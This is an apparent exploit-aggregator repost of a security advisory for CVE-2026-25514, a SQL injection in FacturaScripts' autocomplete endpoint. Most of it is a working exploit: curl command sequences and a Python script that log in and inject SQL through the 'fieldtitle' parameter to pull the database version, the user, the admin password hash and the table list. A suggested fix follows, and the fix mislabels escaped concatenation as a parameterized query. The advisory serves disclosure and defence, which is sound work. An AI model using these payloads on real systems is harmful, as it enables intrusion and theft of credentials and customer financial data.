Share
## https://sploitus.com/exploit?id=PACKETSTORM:218733
# CVE-2026-25514: FacturaScripts has SQL Injection in Autocomplete Actions
    
    ## Overview
    
    | Field | Details |
    |---|---|
    | **CVE ID** | [CVE-2026-25514](https://nvd.nist.gov/vuln/detail/CVE-2026-25514) |
    | **Severity** | HIGH |
    | **Advisory** | [View Advisory](https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952) |
    | **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
    
    ## Affected Products
    
    - **facturascripts/facturascripts** (versions: < 2025.81)
    
    
    ## CWE Classification
    
    - CWE-20: Improper Input Validation
    - CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
    - CWE-943: Improper Neutralization of Special Elements in Data Query Logic
    
    ## Details
    
    ### Summary
    **FacturaScripts contains a critical SQL injection vulnerability in the autocomplete functionality** that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the `CodeModel::all()` method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding.
    
    ---
    
    ### Details
    
    Multiple controllers in FacturaScripts, including `CopyModel`, `ListController`, and `PanelController`, implement an autocomplete action that processes user input through the `CodeModel::search()` or `CodeModel::all()` methods. These methods construct SQL queries by directly concatenating user-controlled parameters without any validation or escaping.
    
    #### Vulnerable Code Location
    
    **File:** `/Core/Model/CodeModel.php`
    **Method:** `all()`
    **Lines:** 108-109
    
    ```php
    public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
    {
        // ......
    
        // VULNERABLE CODE:
        $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
            . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
        foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
            $result[] = new static($row);
        }
    
        return $result;
    }
    ```
    
    #### Vulnerable Parameters
    
    The following parameters are vulnerable to SQL injection:
    
    1. **`source`** โ†’ Maps to `$tableName` - Table name injection
    2. **`fieldcode`** โ†’ Maps to `$fieldCode` - Column name injection
    3. **`fieldtitle`** โ†’ Maps to `$fieldDescription` - Column name injection (Primary attack vector)
    
    #### Attack Flow
    
    1. Attacker authenticates with valid credentials (any user role)
    2. Attacker sends POST request to `/CopyModel` with `action=autocomplete`
    3. Malicious SQL functions/queries are injected via the `fieldtitle` parameter
    4. Application executes the injected SQL and returns results in JSON format
    5. Attacker extracts sensitive data from the database
    
    ---
    
    ### Proof of Concept (PoC)
    
    #### Prerequisites
    - Valid authentication credentials (admin/admin in test instance)
    - Access to FacturaScripts web interface
    
    #### Step-by-Step Manual Exploitation (CLI)
    
    Since FacturaScripts uses `MultiRequestProtection`, a valid `multireqtoken` is required for every POST request.
    
    **1. Obtain initial token and session cookie:**
    FacturaScripts redirects `/` to `/login`, so we use `-L` to follow redirects and `-c` to save the session cookie.
    ```bash
    TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
    echo $TOKEN
    ```
    
    **2. Authenticate (Login):**
    Use the saved cookie and the token to log in.
    ```bash
    curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
      -d "fsNick=admin" \
      -d "fsPassword=admin" \
      -d "action=login" \
      -d "multireqtoken=$TOKEN"
    ```
    
    **3. Extract Database Version:**
    Obtain a fresh token for the next request and execute the injection.
    ```bash
    # Get fresh token
    TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
    
    # Execute SQLi
    curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
      -d "action=autocomplete" \
      -d "source=users" \
      -d "fieldcode=nick" \
      -d "fieldtitle=version()" \
      -d "term=admin" \
      -d "multireqtoken=$TOKEN"
    ```
    
    **4. Extract Database User and Name:**
    ```bash
    # Get fresh token
    TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
    
    # Execute SQLi
    curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
      -d "action=autocomplete" \
      -d "source=users" \
      -d "fieldcode=nick" \
      -d "fieldtitle=concat(user(),' @ ',database())" \
      -d "term=admin" \
      -d "multireqtoken=$TOKEN"
    ```
    
    **5. Extract Admin Password Hash:**
    ```bash
    # Get fresh token
    TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
    
    # Execute SQLi
    curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
      -d "action=autocomplete" \
      -d "source=users" \
      -d "fieldcode=nick" \
      -d "fieldtitle=password" \
      -d "term=admin" \
      -d "multireqtoken=$TOKEN"
    ```
    
    #### Automated Exploitation Script
    
    ```python
    #!/usr/bin/env python3
    """
    FacturaScripts SQL Injection Exploit - Autocomplete
    Author: ลukasz Rybak
    """
    
    import requests
    import re
    import json
    
    # Configuration
    BASE_URL = "http://localhost:8091"
    USERNAME = "admin"
    PASSWORD = "admin"
    
    session = requests.Session()
    
    def get_csrf_token(url):
        """Extract CSRF token from page"""
        response = session.get(url)
        match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
        return match.group(1) if match else None
    
    def login():
        """Authenticate to FacturaScripts"""
        print(f"[*] Logging in as {USERNAME}...")
        token = get_csrf_token(f"{BASE_URL}/login")
        if not token:
            print("[!] Failed to get CSRF token")
            exit()
    
        data = {
            "multireqtoken": token,
            "action": "login",
            "fsNick": USERNAME,
            "fsPassword": PASSWORD
        }
        response = session.post(f"{BASE_URL}/login", data=data)
    
        if "Dashboard" not in response.text:
            print("[!] Login failed!")
            exit()
        print("[+] Successfully logged in.")
    
    def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
        """Execute SQL injection through autocomplete"""
        data = {
            "action": "autocomplete",
            "source": source,
            "fieldcode": field_code,
            "fieldtitle": field_payload,
            "term": term
        }
        response = session.post(f"{BASE_URL}/CopyModel", data=data)
        try:
            return response.json()
        except:
            return None
    
    def main():
        login()
    
        print("\n" + "="*60)
        print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
        print("="*60 + "\n")
    
        # 1. Database version
        print("[*] Extracting database version...")
        res = exploit_sqli("version()")
        if res:
            print(f"[+] Database Version: {res[0]['value']}")
    
        # 2. Current user and database
        print("[*] Extracting DB user and database name...")
        res = exploit_sqli("concat(user(),' @ ',database())")
        if res:
            print(f"[+] DB User @ Database: {res[0]['value']}")
    
        # 3. Admin password hash
        print("[*] Extracting admin password hash...")
        res = exploit_sqli("password", term="admin")
        if res:
            print(f"[+] Admin Password Hash: {res[0]['value']}")
    
        # 4. All table names
        print("[*] Extracting table names...")
        res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
        if res:
            print(f"[+] Tables: {res[0]['value']}")
    
        print("\n[+] Exploitation complete!")
    
    if __name__ == "__main__":
        main()
    ```
    <img width="2524" height="410" alt="image" src="https://github.com/user-attachments/assets/19178918-0b83-4b94-a41d-38f33b034f5d" />
    
    ---
    
    ### Impact
    
    This SQL injection vulnerability has **CRITICAL** impact:
    
    #### Data Confidentiality
    - **Complete database disclosure** - Attacker can extract all data including:
      - User credentials (password hashes)
      - Customer information (names, addresses, tax IDs, etc.)
      - Financial records (invoices, payments, bank details)
      - Business logic and configuration data
      - Plugin and system settings
    
    #### Who is Impacted?
    - **All FacturaScripts installations** running vulnerable versions
    - **All authenticated users** can exploit (not just admins)
    - **Businesses using FacturaScripts** for accounting/invoicing
    - **Customers whose data is stored** in the system
    
    ---
    
    ### Recommended Fix
    
    #### Immediate Remediation
    
    **Option 1: Use Prepared Statements**
    
    ```php
    // File: Core/Model/CodeModel.php
    // Method: all()
    
    public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
    {
        // ... validation code ...
    
        // Validate and escape identifiers
        $safeTableName = self::db()->escapeColumn($tableName);
        $safeFieldCode = self::db()->escapeColumn($fieldCode);
        $safeFieldDescription = self::db()->escapeColumn($fieldDescription);
    
        // Use parameterized query
        $sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
            . 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
    
        foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
            $result[] = new static($row);
        }
    
        return $result;
    }
    ```
    ### Credits
    
    **Discovered by:** ลukasz Rybak
    
    ## References
    
    - https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-pqqg-5f4f-8952
    - https://github.com/NeoRazorX/facturascripts/commit/5c070f82665b98efd2f914a4769c6dc9415f5b0f
    - https://nvd.nist.gov/vuln/detail/CVE-2026-25514
    - https://github.com/advisories/GHSA-pqqg-5f4f-8952
    
    
    ## Disclaimer
    
    This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.